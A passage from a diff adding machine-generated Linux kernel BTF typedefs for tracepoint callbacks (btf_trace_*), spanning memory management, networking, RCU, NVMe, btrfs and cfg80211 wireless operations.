+ +typedef void (*btf_trace_lock_acquire)(void *, struct lockdep_map *, unsigned int, int, int, int, struct lockdep_map *, unsigned long); + +typedef void (*btf_trace_lock_release)(void *, struct lockdep_map *, unsigned long); + +typedef void (*btf_trace_locks_get_lock_context)(void *, struct inode *, int, struct file_lock_context *); + +typedef void (*btf_trace_locks_remove_posix)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_ma_op)(void *, const char *, struct ma_state *); + +typedef void (*btf_trace_ma_read)(void *, const char *, struct ma_state *); + +typedef void (*btf_trace_ma_write)(void *, const char *, struct ma_state *, unsigned long, void *); + +typedef void (*btf_trace_mark_victim)(void *, struct task_struct *, uid_t); + +typedef void (*btf_trace_mdio_access)(void *, struct mii_bus *, char, u8, unsigned int, u16, int); + +typedef void (*btf_trace_mem_connect)(void *, const struct xdp_mem_allocator *, const struct xdp_rxq_info *); + +typedef void (*btf_trace_mem_disconnect)(void *, const struct xdp_mem_allocator *); + +typedef void (*btf_trace_mem_return_failed)(void *, const struct xdp_mem_info *, const struct page *); + +typedef void (*btf_trace_mm_alloc_contig_migrate_range_info)(void *, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, int); + +typedef void (*btf_trace_mm_collapse_huge_page)(void *, struct mm_struct *, int, int); + +typedef void (*btf_trace_mm_collapse_huge_page_isolate)(void *, struct page *, int, int, bool, int); + +typedef void (*btf_trace_mm_collapse_huge_page_swapin)(void *, struct mm_struct *, int, int, int); + +typedef void (*btf_trace_mm_compaction_begin)(void *, struct compact_control *, unsigned long, unsigned long, bool); + +typedef void (*btf_trace_mm_compaction_defer_compaction)(void *, struct zone *, int); + +typedef void (*btf_trace_mm_compaction_defer_reset)(void *, struct zone *, int); + +typedef void (*btf_trace_mm_compaction_deferred)(void *, struct zone *, int); + +typedef void (*btf_trace_mm_compaction_end)(void *, struct compact_control *, unsigned long, unsigned long, bool, int); + +typedef void (*btf_trace_mm_compaction_fast_isolate_freepages)(void *, unsigned long, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_mm_compaction_finished)(void *, struct zone *, int, int); + +typedef void (*btf_trace_mm_compaction_isolate_freepages)(void *, unsigned long, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_mm_compaction_isolate_migratepages)(void *, unsigned long, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_mm_compaction_kcompactd_sleep)(void *, int); + +typedef void (*btf_trace_mm_compaction_kcompactd_wake)(void *, int, int, enum zone_type); + +typedef void (*btf_trace_mm_compaction_migratepages)(void *, unsigned int, unsigned int); + +typedef void (*btf_trace_mm_compaction_suitable)(void *, struct zone *, int, int); + +typedef void (*btf_trace_mm_compaction_try_to_compact_pages)(void *, int, gfp_t, int); + +typedef void (*btf_trace_mm_compaction_wakeup_kcompactd)(void *, int, int, enum zone_type); + +typedef void (*btf_trace_mm_filemap_add_to_page_cache)(void *, struct folio *); + +typedef void (*btf_trace_mm_filemap_delete_from_page_cache)(void *, struct folio *); + +typedef void (*btf_trace_mm_filemap_fault)(void *, struct address_space *, unsigned long); + +typedef void (*btf_trace_mm_filemap_get_pages)(void *, struct address_space *, unsigned long, unsigned long); + +typedef void (*btf_trace_mm_filemap_map_pages)(void *, struct address_space *, unsigned long, unsigned long); + +typedef void (*btf_trace_mm_khugepaged_collapse_file)(void *, struct mm_struct *, struct folio *, unsigned long, bool, unsigned long, struct file *, int, int); + +typedef void (*btf_trace_mm_khugepaged_scan_file)(void *, struct mm_struct *, struct folio *, struct file *, int, int, int); + +typedef void (*btf_trace_mm_khugepaged_scan_pmd)(void *, struct mm_struct *, struct page *, bool, int, int, int, int); + +typedef void (*btf_trace_mm_lru_activate)(void *, struct folio *); + +typedef void (*btf_trace_mm_lru_insertion)(void *, struct folio *); + +typedef void (*btf_trace_mm_migrate_pages)(void *, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, enum migrate_mode, int); + +typedef void (*btf_trace_mm_migrate_pages_start)(void *, enum migrate_mode, int); + +typedef void (*btf_trace_mm_page_alloc)(void *, struct page *, unsigned int, gfp_t, int); + +typedef void (*btf_trace_mm_page_alloc_extfrag)(void *, struct page *, int, int, int, int); + +typedef void (*btf_trace_mm_page_alloc_zone_locked)(void *, struct page *, unsigned int, int, int); + +typedef void (*btf_trace_mm_page_free)(void *, struct page *, unsigned int); + +typedef void (*btf_trace_mm_page_free_batched)(void *, struct page *); + +typedef void (*btf_trace_mm_page_pcpu_drain)(void *, struct page *, unsigned int, int); + +typedef void (*btf_trace_mm_shrink_slab_end)(void *, struct shrinker *, int, int, long, long, long); + +typedef void (*btf_trace_mm_shrink_slab_start)(void *, struct shrinker *, struct shrink_control *, long, unsigned long, unsigned long long, unsigned long, int); + +typedef void (*btf_trace_mm_vmscan_direct_reclaim_begin)(void *, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_direct_reclaim_end)(void *, unsigned long); + +typedef void (*btf_trace_mm_vmscan_kswapd_sleep)(void *, int); + +typedef void (*btf_trace_mm_vmscan_kswapd_wake)(void *, int, int, int); + +typedef void (*btf_trace_mm_vmscan_lru_isolate)(void *, int, int, unsigned long, unsigned long, unsigned long, unsigned long, int); + +typedef void (*btf_trace_mm_vmscan_lru_shrink_active)(void *, int, unsigned long, unsigned long, unsigned long, unsigned long, int, int); + +typedef void (*btf_trace_mm_vmscan_lru_shrink_inactive)(void *, int, unsigned long, unsigned long, struct reclaim_stat *, int, int); + +typedef void (*btf_trace_mm_vmscan_memcg_reclaim_begin)(void *, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_memcg_reclaim_end)(void *, unsigned long); + +typedef void (*btf_trace_mm_vmscan_memcg_softlimit_reclaim_begin)(void *, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_memcg_softlimit_reclaim_end)(void *, unsigned long); + +typedef void (*btf_trace_mm_vmscan_node_reclaim_begin)(void *, int, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_node_reclaim_end)(void *, unsigned long); + +typedef void (*btf_trace_mm_vmscan_throttled)(void *, int, int, int, int); + +typedef void (*btf_trace_mm_vmscan_wakeup_kswapd)(void *, int, int, int, gfp_t); + +typedef void (*btf_trace_mm_vmscan_write_folio)(void *, struct folio *); + +typedef void (*btf_trace_mmap_lock_acquire_returned)(void *, struct mm_struct *, const char *, bool, bool); + +typedef void (*btf_trace_mmap_lock_released)(void *, struct mm_struct *, const char *, bool); + +typedef void (*btf_trace_mmap_lock_start_locking)(void *, struct mm_struct *, const char *, bool); + +typedef void (*btf_trace_module_free)(void *, struct module *); + +typedef void (*btf_trace_module_get)(void *, struct module *, unsigned long); + +typedef void (*btf_trace_module_load)(void *, struct module *); + +typedef void (*btf_trace_module_put)(void *, struct module *, unsigned long); + +typedef void (*btf_trace_module_request)(void *, char *, bool, unsigned long); + +typedef void (*btf_trace_napi_gro_frags_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_napi_gro_frags_exit)(void *, int); + +typedef void (*btf_trace_napi_gro_receive_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_napi_gro_receive_exit)(void *, int); + +typedef void (*btf_trace_napi_poll)(void *, struct napi_struct *, int, int); + +typedef void (*btf_trace_neigh_cleanup_and_release)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_create)(void *, struct neigh_table *, struct net_device *, const void *, const struct neighbour *, bool); + +typedef void (*btf_trace_neigh_event_send_dead)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_event_send_done)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_timer_handler)(void *, struct neighbour *, int); + +typedef void (*btf_trace_neigh_update)(void *, struct neighbour *, const u8 *, u8, u32, u32); + +typedef void (*btf_trace_neigh_update_done)(void *, struct neighbour *, int); + +typedef void (*btf_trace_net_dev_queue)(void *, struct sk_buff *); + +typedef void (*btf_trace_net_dev_start_xmit)(void *, const struct sk_buff *, const struct net_device *); + +typedef void (*btf_trace_net_dev_xmit)(void *, struct sk_buff *, int, struct net_device *, unsigned int); + +typedef void (*btf_trace_net_dev_xmit_timeout)(void *, struct net_device *, int); + +typedef void (*btf_trace_netif_receive_skb)(void *, struct sk_buff *); + +typedef void (*btf_trace_netif_receive_skb_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_netif_receive_skb_exit)(void *, int); + +typedef void (*btf_trace_netif_receive_skb_list_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_netif_receive_skb_list_exit)(void *, int); + +typedef void (*btf_trace_netif_rx)(void *, struct sk_buff *); + +typedef void (*btf_trace_netif_rx_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_netif_rx_exit)(void *, int); + +typedef void (*btf_trace_netlink_extack)(void *, const char *); + +typedef void (*btf_trace_nmi_handler)(void *, void *, s64, int); + +typedef void (*btf_trace_notifier_register)(void *, void *); + +typedef void (*btf_trace_notifier_run)(void *, void *); + +typedef void (*btf_trace_notifier_unregister)(void *, void *); + +typedef void (*btf_trace_nvme_async_event)(void *, struct nvme_ctrl *, u32); + +typedef void (*btf_trace_nvme_complete_rq)(void *, struct request *); + +typedef void (*btf_trace_nvme_setup_cmd)(void *, struct request *, struct nvme_command *); + +typedef void (*btf_trace_nvme_sq)(void *, struct request *, __le16, int); + +typedef void (*btf_trace_oom_score_adj_update)(void *, struct task_struct *); + +typedef void (*btf_trace_page_fault_kernel)(void *, unsigned long, struct pt_regs *, unsigned long); + +typedef void (*btf_trace_page_fault_user)(void *, unsigned long, struct pt_regs *, unsigned long); + +typedef void (*btf_trace_page_pool_release)(void *, const struct page_pool *, s32, u32, u32); + +typedef void (*btf_trace_page_pool_state_hold)(void *, const struct page_pool *, netmem_ref, u32); + +typedef void (*btf_trace_page_pool_state_release)(void *, const struct page_pool *, netmem_ref, u32); + +typedef void (*btf_trace_page_pool_update_nid)(void *, const struct page_pool *, int); + +typedef void (*btf_trace_pelt_cfs_tp)(void *, struct cfs_rq *); + +typedef void (*btf_trace_pelt_dl_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_hw_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_irq_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_rt_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_se_tp)(void *, struct sched_entity *); + +typedef void (*btf_trace_percpu_alloc_percpu)(void *, unsigned long, bool, bool, size_t, size_t, void *, int, void __attribute__((btf_type_tag("percpu"))) *, size_t, gfp_t); + +typedef void (*btf_trace_percpu_alloc_percpu_fail)(void *, bool, bool, size_t, size_t); + +typedef void (*btf_trace_percpu_create_chunk)(void *, void *); + +typedef void (*btf_trace_percpu_destroy_chunk)(void *, void *); + +typedef void (*btf_trace_percpu_free_percpu)(void *, void *, int, void __attribute__((btf_type_tag("percpu"))) *); + +typedef void (*btf_trace_pm_qos_add_request)(void *, s32); + +typedef void (*btf_trace_pm_qos_remove_request)(void *, s32); + +typedef void (*btf_trace_pm_qos_update_flags)(void *, enum pm_qos_req_action, int, int); + +typedef void (*btf_trace_pm_qos_update_request)(void *, s32); + +typedef void (*btf_trace_pm_qos_update_target)(void *, enum pm_qos_req_action, int, int); + +typedef void (*btf_trace_posix_lock_inode)(void *, struct inode *, struct file_lock *, int); + +typedef void (*btf_trace_power_domain_target)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_powernv_throttle)(void *, int, const char *, int); + +typedef void (*btf_trace_pstate_sample)(void *, u32, u32, u32, u32, u64, u64, u64, u32, u32); + +typedef void (*btf_trace_purge_vmap_area_lazy)(void *, unsigned long, unsigned long, unsigned int); + +typedef void (*btf_trace_qdisc_create)(void *, const struct Qdisc_ops *, struct net_device *, u32); + +typedef void (*btf_trace_qdisc_dequeue)(void *, struct Qdisc *, const struct netdev_queue *, int, struct sk_buff *); + +typedef void (*btf_trace_qdisc_destroy)(void *, struct Qdisc *); + +typedef void (*btf_trace_qdisc_enqueue)(void *, struct Qdisc *, const struct netdev_queue *, struct sk_buff *); + +typedef void (*btf_trace_qdisc_reset)(void *, struct Qdisc *); + +typedef void (*btf_trace_qgroup_meta_convert)(void *, const struct btrfs_root *, s64); + +typedef void (*btf_trace_qgroup_meta_free_all_pertrans)(void *, struct btrfs_root *); + +typedef void (*btf_trace_qgroup_meta_reserve)(void *, const struct btrfs_root *, s64, int); + +typedef void (*btf_trace_qgroup_num_dirty_extents)(void *, const struct btrfs_fs_info *, u64, u64); + +typedef void (*btf_trace_qgroup_update_counters)(void *, const struct btrfs_fs_info *, const struct btrfs_qgroup *, u64, u64); + +typedef void (*btf_trace_qgroup_update_reserve)(void *, const struct btrfs_fs_info *, const struct btrfs_qgroup *, s64, int); + +typedef void (*btf_trace_raid56_read)(void *, const struct btrfs_raid_bio *, const struct bio *, const struct raid56_bio_trace_info *); + +typedef void (*btf_trace_raid56_write)(void *, const struct btrfs_raid_bio *, const struct bio *, const struct raid56_bio_trace_info *); + +typedef void (*btf_trace_rcu_barrier)(void *, const char *, const char *, int, int, unsigned long); + +typedef void (*btf_trace_rcu_batch_end)(void *, const char *, int, char, char, char, char); + +typedef void (*btf_trace_rcu_batch_start)(void *, const char *, long, long); + +typedef void (*btf_trace_rcu_callback)(void *, const char *, struct callback_head *, long); + +typedef void (*btf_trace_rcu_exp_funnel_lock)(void *, const char *, u8, int, int, const char *); + +typedef void (*btf_trace_rcu_exp_grace_period)(void *, const char *, unsigned long, const char *); + +typedef void (*btf_trace_rcu_fqs)(void *, const char *, unsigned long, int, const char *); + +typedef void (*btf_trace_rcu_future_grace_period)(void *, const char *, unsigned long, unsigned long, u8, int, int, const char *); + +typedef void (*btf_trace_rcu_grace_period)(void *, const char *, unsigned long, const char *); + +typedef void (*btf_trace_rcu_grace_period_init)(void *, const char *, unsigned long, u8, int, int, unsigned long); + +typedef void (*btf_trace_rcu_invoke_callback)(void *, const char *, struct callback_head *); + +typedef void (*btf_trace_rcu_invoke_kfree_bulk_callback)(void *, const char *, unsigned long, void **); + +typedef void (*btf_trace_rcu_invoke_kvfree_callback)(void *, const char *, struct callback_head *, unsigned long); + +typedef void (*btf_trace_rcu_kvfree_callback)(void *, const char *, struct callback_head *, unsigned long, long); + +typedef void (*btf_trace_rcu_nocb_wake)(void *, const char *, int, const char *); + +typedef void (*btf_trace_rcu_preempt_task)(void *, const char *, int, unsigned long); + +typedef void (*btf_trace_rcu_quiescent_state_report)(void *, const char *, unsigned long, unsigned long, unsigned long, u8, int, int, int); + +typedef void (*btf_trace_rcu_segcb_stats)(void *, struct rcu_segcblist *, const char *); + +typedef void (*btf_trace_rcu_sr_normal)(void *, const char *, struct callback_head *, const char *); + +typedef void (*btf_trace_rcu_stall_warning)(void *, const char *, const char *); + +typedef void (*btf_trace_rcu_torture_read)(void *, const char *, struct callback_head *, unsigned long, unsigned long, unsigned long); + +typedef void (*btf_trace_rcu_unlock_preempted_task)(void *, const char *, unsigned long, int); + +typedef void (*btf_trace_rcu_utilization)(void *, const char *); + +typedef void (*btf_trace_rcu_watching)(void *, const char *, long, long, int); + +typedef void (*btf_trace_rdev_abort_pmsr)(void *, struct wiphy *, struct wireless_dev *, u64); + +typedef void (*btf_trace_rdev_abort_scan)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_add_intf_link)(void *, struct wiphy *, struct wireless_dev *, unsigned int); + +typedef void (*btf_trace_rdev_add_key)(void *, struct wiphy *, struct net_device *, int, u8, bool, const u8 *, u8); + +typedef void (*btf_trace_rdev_add_link_station)(void *, struct wiphy *, struct net_device *, struct link_station_parameters *); + +typedef void (*btf_trace_rdev_add_mpath)(void *, struct wiphy *, struct net_device *, u8 *, u8 *); + +typedef void (*btf_trace_rdev_add_nan_func)(void *, struct wiphy *, struct wireless_dev *, const struct cfg80211_nan_func *); + +typedef void (*btf_trace_rdev_add_station)(void *, struct wiphy *, struct net_device *, u8 *, struct station_parameters *); + +typedef void (*btf_trace_rdev_add_tx_ts)(void *, struct wiphy *, struct net_device *, u8, const u8 *, u8, u16); + +typedef void (*btf_trace_rdev_add_virtual_intf)(void *, struct wiphy *, char *, enum nl80211_iftype); + +typedef void (*btf_trace_rdev_assoc)(void *, struct wiphy *, struct net_device *, struct cfg80211_assoc_request *); + +typedef void (*btf_trace_rdev_auth)(void *, struct wiphy *, struct net_device *, struct cfg80211_auth_request *); + +typedef void (*btf_trace_rdev_cancel_remain_on_channel)(void *, struct wiphy *, struct wireless_dev *, u64); + +typedef void (*btf_trace_rdev_change_beacon)(void *, struct wiphy *, struct net_device *, struct cfg80211_ap_update *); + +typedef void (*btf_trace_rdev_change_bss)(void *, struct wiphy *, struct net_device *, struct bss_parameters *); + +typedef void (*btf_trace_rdev_change_mpath)(void *, struct wiphy *, struct net_device *, u8 *, u8 *); + +typedef void (*btf_trace_rdev_change_station)(void *, struct wiphy *, struct net_device *, u8 *, struct station_parameters *); + +typedef void (*btf_trace_rdev_change_virtual_intf)(void *, struct wiphy *, struct net_device *, enum nl80211_iftype); + +typedef void (*btf_trace_rdev_channel_switch)(void *, struct wiphy *, struct net_device *, struct cfg80211_csa_settings *); + +typedef void (*btf_trace_rdev_color_change)(void *, struct wiphy *, struct net_device *, struct cfg80211_color_change_settings *); + +typedef void (*btf_trace_rdev_connect)(void *, struct wiphy *, struct net_device *, struct cfg80211_connect_params *); + +typedef void (*btf_trace_rdev_crit_proto_start)(void *, struct wiphy *, struct wireless_dev *, enum nl80211_crit_proto_id, u16); + +typedef void (*btf_trace_rdev_crit_proto_stop)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_deauth)(void *, struct wiphy *, struct net_device *, struct cfg80211_deauth_request *); + +typedef void (*btf_trace_rdev_del_intf_link)(void *, struct wiphy *, struct wireless_dev *, unsigned int); + +typedef void (*btf_trace_rdev_del_key)(void *, struct wiphy *, struct net_device *, int, u8, bool, const u8 *); + +typedef void (*btf_trace_rdev_del_link_station)(void *, struct wiphy *, struct net_device *, struct link_station_del_parameters *); + +typedef void (*btf_trace_rdev_del_mpath)(void *, struct wiphy *, struct net_device *, const u8 *); + +typedef void (*btf_trace_rdev_del_nan_func)(void *, struct wiphy *, struct wireless_dev *, u64); + +typedef void (*btf_trace_rdev_del_pmk)(void *, struct wiphy *, struct net_device *, const u8 *); + +typedef void (*btf_trace_rdev_del_pmksa)(void *, struct wiphy *, struct net_device *, struct cfg80211_pmksa *); + +typedef void (*btf_trace_rdev_del_station)(void *, struct wiphy *, struct net_device *, struct station_del_parameters *); + +typedef void (*btf_trace_rdev_del_tx_ts)(void *, struct wiphy *, struct net_device *, u8, const u8 *); + +typedef void (*btf_trace_rdev_del_virtual_intf)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_disassoc)(void *, struct wiphy *, struct net_device *, struct cfg80211_disassoc_request *); + +typedef void (*btf_trace_rdev_disconnect)(void *, struct wiphy *, struct net_device *, u16); + +typedef void (*btf_trace_rdev_dump_mpath)(void *, struct wiphy *, struct net_device *, int, u8 *, u8 *); + +typedef void (*btf_trace_rdev_dump_mpp)(void *, struct wiphy *, struct net_device *, int, u8 *, u8 *); + +typedef void (*btf_trace_rdev_dump_station)(void *, struct wiphy *, struct net_device *, int, u8 *); + +typedef void (*btf_trace_rdev_dump_survey)(void *, struct wiphy *, struct net_device *, int); + +typedef void (*btf_trace_rdev_end_cac)(void *, struct wiphy *, struct net_device *, unsigned int); + +typedef void (*btf_trace_rdev_external_auth)(void *, struct wiphy *, struct net_device *, struct cfg80211_external_auth_params *); + +typedef void (*btf_trace_rdev_flush_pmksa)(void *, struct wiphy *, struct net_device *); + +typedef void (*btf_trace_rdev_get_antenna)(void *, struct wiphy *); + +typedef void (*btf_trace_rdev_get_channel)(void *, struct wiphy *, struct wireless_dev *, unsigned int); + +typedef void (*btf_trace_rdev_get_ftm_responder_stats)(void *, struct wiphy *, struct net_device *, struct cfg80211_ftm_responder_stats *); + +typedef void (*btf_trace_rdev_get_key)(void *, struct wiphy *, struct net_device *, int, u8, bool, const u8 *); + +typedef void (*btf_trace_rdev_get_mesh_config)(void *, struct wiphy *, struct net_device *); + +typedef void (*btf_trace_rdev_get_mpath)(void *, struct wiphy *, struct net_device *, u8 *, u8 *); + +typedef void (*btf_trace_rdev_get_mpp)(void *, struct wiphy *, struct net_device *, u8 *, u8 *); + +typedef void (*btf_trace_rdev_get_station)(void *, struct wiphy *, struct net_device *, const u8 *); + +typedef void (*btf_trace_rdev_get_tx_power)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_get_txq_stats)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_inform_bss)(void *, struct wiphy *, struct cfg80211_bss *); + +typedef void (*btf_trace_rdev_join_ibss)(void *, struct wiphy *, struct net_device *, struct cfg80211_ibss_params *); + +typedef void (*btf_trace_rdev_join_mesh)(void *, struct wiphy *, struct net_device *, const struct mesh_config *, const struct mesh_setup *); + +typedef void (*btf_trace_rdev_join_ocb)(void *, struct wiphy *, struct net_device *, const struct ocb_setup *); + +typedef void (*btf_trace_rdev_leave_ibss)(void *, struct wiphy *, struct net_device *); + +typedef void (*btf_trace_rdev_leave_mesh)(void *, struct wiphy *, struct net_device *); + +typedef void (*btf_trace_rdev_leave_ocb)(void *, struct wiphy *, struct net_device *); + +typedef void (*btf_trace_rdev_libertas_set_mesh_channel)(void *, struct wiphy *, struct net_device *, struct ieee80211_channel *); + +typedef void (*btf_trace_rdev_mgmt_tx)(void *, struct wiphy *, struct wireless_dev *, struct cfg80211_mgmt_tx_params *); + +typedef void (*btf_trace_rdev_mgmt_tx_cancel_wait)(void *, struct wiphy *, struct wireless_dev *, u64); + +typedef void (*btf_trace_rdev_mod_link_station)(void *, struct wiphy *, struct net_device *, struct link_station_parameters *); + +typedef void (*btf_trace_rdev_nan_change_conf)(void *, struct wiphy *, struct wireless_dev *, struct cfg80211_nan_conf *, u32); + +typedef void (*btf_trace_rdev_probe_client)(void *, struct wiphy *, struct net_device *, const u8 *); + +typedef void (*btf_trace_rdev_probe_mesh_link)(void *, struct wiphy *, struct net_device *, const u8 *, const u8 *, size_t); + +typedef void (*btf_trace_rdev_remain_on_channel)(void *, struct wiphy *, struct wireless_dev *, struct ieee80211_channel *, unsigned int); + +typedef void (*btf_trace_rdev_reset_tid_config)(void *, struct wiphy *, struct net_device *, const u8 *, u8); + +typedef void (*btf_trace_rdev_resume)(void *, struct wiphy *); + +typedef void (*btf_trace_rdev_return_chandef)(void *, struct wiphy *, int, struct cfg80211_chan_def *); + +typedef void (*btf_trace_rdev_return_int)(void *, struct wiphy *, int); + +typedef void (*btf_trace_rdev_return_int_cookie)(void *, struct wiphy *, int, u64); + +typedef void (*btf_trace_rdev_return_int_int)(void *, struct wiphy *, int, int); + +typedef void (*btf_trace_rdev_return_int_mesh_config)(void *, struct wiphy *, int, struct mesh_config *); + +typedef void (*btf_trace_rdev_return_int_mpath_info)(void *, struct wiphy *, int, struct mpath_info *); + +typedef void (*btf_trace_rdev_return_int_station_info)(void *, struct wiphy *, int, struct station_info *); + +typedef void (*btf_trace_rdev_return_int_survey_info)(void *, struct wiphy *, int, struct survey_info *); + +typedef void (*btf_trace_rdev_return_int_tx_rx)(void *, struct wiphy *, int, u32, u32); + +typedef void (*btf_trace_rdev_return_void)(void *, struct wiphy *); + +typedef void (*btf_trace_rdev_return_void_tx_rx)(void *, struct wiphy *, u32, u32, u32, u32); + +typedef void (*btf_trace_rdev_return_wdev)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_rfkill_poll)(void *, struct wiphy *); + +typedef void (*btf_trace_rdev_scan)(void *, struct wiphy *, struct cfg80211_scan_request *); + +typedef void (*btf_trace_rdev_sched_scan_start)(void *, struct wiphy *, struct net_device *, u64); + +typedef void (*btf_trace_rdev_sched_scan_stop)(void *, struct wiphy *, struct net_device *, u64); + +typedef void (*btf_trace_rdev_set_antenna)(void *, struct wiphy *, u32, u32); + +typedef void (*btf_trace_rdev_set_ap_chanwidth)(void *, struct wiphy *, struct net_device *, unsigned int, struct cfg80211_chan_def *); + +typedef void (*btf_trace_rdev_set_bitrate_mask)(void *, struct wiphy *, struct net_device *, unsigned int, const u8 *, const struct cfg80211_bitrate_mask *); + +typedef void (*btf_trace_rdev_set_coalesce)(void *, struct wiphy *, struct cfg80211_coalesce *); + +typedef void (*btf_trace_rdev_set_cqm_rssi_config)(void *, struct wiphy *, struct net_device *, s32, u32); + +typedef void (*btf_trace_rdev_set_cqm_rssi_range_config)(void *, struct wiphy *, struct net_device *, s32, s32); + +typedef void (*btf_trace_rdev_set_cqm_txe_config)(void *, struct wiphy *, struct net_device *, u32, u32, u32); + +typedef void (*btf_trace_rdev_set_default_beacon_key)(void *, struct wiphy *, struct net_device *, int, u8); + +typedef void (*btf_trace_rdev_set_default_key)(void *, struct wiphy *, struct net_device *, int, u8, bool, bool); + +typedef void (*btf_trace_rdev_set_default_mgmt_key)(void *, struct wiphy *, struct net_device *, int, u8); + +typedef void (*btf_trace_rdev_set_fils_aad)(void *, struct wiphy *, struct net_device *, struct cfg80211_fils_aad *); + +typedef void (*btf_trace_rdev_set_hw_timestamp)(void *, struct wiphy *, struct net_device *, struct cfg80211_set_hw_timestamp *); + +typedef void (*btf_trace_rdev_set_mac_acl)(void *, struct wiphy *, struct net_device *, struct cfg80211_acl_data *); + +typedef void (*btf_trace_rdev_set_mcast_rate)(void *, struct wiphy *, struct net_device *, int *); + +typedef void (*btf_trace_rdev_set_monitor_channel)(void *, struct wiphy *, struct cfg80211_chan_def *); + +typedef void (*btf_trace_rdev_set_multicast_to_unicast)(void *, struct wiphy *, struct net_device *, const bool); + +typedef void (*btf_trace_rdev_set_noack_map)(void *, struct wiphy *, struct net_device *, u16); + +typedef void (*btf_trace_rdev_set_pmk)(void *, struct wiphy *, struct net_device *, struct cfg80211_pmk_conf *); + +typedef void (*btf_trace_rdev_set_pmksa)(void *, struct wiphy *, struct net_device *, struct cfg80211_pmksa *); + +typedef void (*btf_trace_rdev_set_power_mgmt)(void *, struct wiphy *, struct net_device *, bool, int); + +typedef void (*btf_trace_rdev_set_qos_map)(void *, struct wiphy *, struct net_device *, struct cfg80211_qos_map *); + +typedef void (*btf_trace_rdev_set_radar_background)(void *, struct wiphy *, struct cfg80211_chan_def *); + +typedef void (*btf_trace_rdev_set_rekey_data)(void *, struct wiphy *, struct net_device *); + +typedef void (*btf_trace_rdev_set_sar_specs)(void *, struct wiphy *, struct cfg80211_sar_specs *); + +typedef void (*btf_trace_rdev_set_tid_config)(void *, struct wiphy *, struct net_device *, struct cfg80211_tid_config *); + +typedef void (*btf_trace_rdev_set_ttlm)(void *, struct wiphy *, struct net_device *, struct cfg80211_ttlm_params *); + +typedef void (*btf_trace_rdev_set_tx_power)(void *, struct wiphy *, struct wireless_dev *, enum nl80211_tx_power_setting, int); + +typedef void (*btf_trace_rdev_set_txq_params)(void *, struct wiphy *, struct net_device *, struct ieee80211_txq_params *); + +typedef void (*btf_trace_rdev_set_wakeup)(void *, struct wiphy *, bool); + +typedef void (*btf_trace_rdev_set_wiphy_params)(void *, struct wiphy *, u32); + +typedef void (*btf_trace_rdev_start_ap)(void *, struct wiphy *, struct net_device *, struct cfg80211_ap_settings *); + +typedef void (*btf_trace_rdev_start_nan)(void *, struct wiphy *, struct wireless_dev *, struct cfg80211_nan_conf *); + +typedef void (*btf_trace_rdev_start_p2p_device)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_start_pmsr)(void *, struct wiphy *, struct wireless_dev *, u64); + +typedef void (*btf_trace_rdev_start_radar_detection)(void *, struct wiphy *, struct net_device *, struct cfg80211_chan_def *, u32, int); + +typedef void (*btf_trace_rdev_stop_ap)(void *, struct wiphy *, struct net_device *, unsigned int); + +typedef void (*btf_trace_rdev_stop_nan)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_stop_p2p_device)(void *, struct wiphy *, struct wireless_dev *); + +typedef void (*btf_trace_rdev_suspend)(void *, struct wiphy *, struct cfg80211_wowlan *); + +typedef void (*btf_trace_rdev_tdls_cancel_channel_switch)(void *, struct wiphy *, struct net_device *, const u8 *); + +typedef void (*btf_trace_rdev_tdls_channel_switch)(void *, struct wiphy *, struct net_device *, const u8 *, u8, struct cfg80211_chan_def *); + +typedef void (*btf_trace_rdev_tdls_mgmt)(void *, struct wiphy *, struct net_device *, u8 *, int, u8, u8, u16, u32, bool, const u8 *, size_t); + +typedef void (*btf_trace_rdev_tdls_oper)(void *, struct wiphy *, struct net_device *, u8 *, enum nl80211_tdls_operation); + +typedef void (*btf_trace_rdev_tx_control_port)(void *, struct wiphy *, struct net_device *, const u8 *, size_t, const u8 *, __be16, bool, int); + +typedef void (*btf_trace_rdev_update_connect_params)(void *, struct wiphy *, struct net_device *, struct cfg80211_connect_params *, u32); + +typedef void (*btf_trace_rdev_update_ft_ies)(void *, struct wiphy *, struct net_device *, struct cfg80211_update_ft_ies_params *); + +typedef void (*btf_trace_rdev_update_mesh_config)(void *, struct wiphy *, struct net_device *, u32, const struct mesh_config *); + +typedef void (*btf_trace_rdev_update_mgmt_frame_registrations)(void *, struct wiphy *, struct wireless_dev *, struct mgmt_frame_regs *); + +typedef void (*btf_trace_rdev_update_owe_info)(void *, struct wiphy *, struct net_device *, struct cfg80211_update_owe_info *); + +typedef void (*btf_trace_rdpmc)(void *, unsigned int, u64, int); + +typedef void (*btf_trace_read_msr)(void *, unsigned int, u64, int); + +typedef void (*btf_trace_reclaim_retry_zone)(void *, struct zoneref *, int, unsigned long, unsigned long, unsigned long, int, bool); + +typedef void (*btf_trace_remove_migration_pmd)(void *, unsigned long, unsigned long); + +typedef void 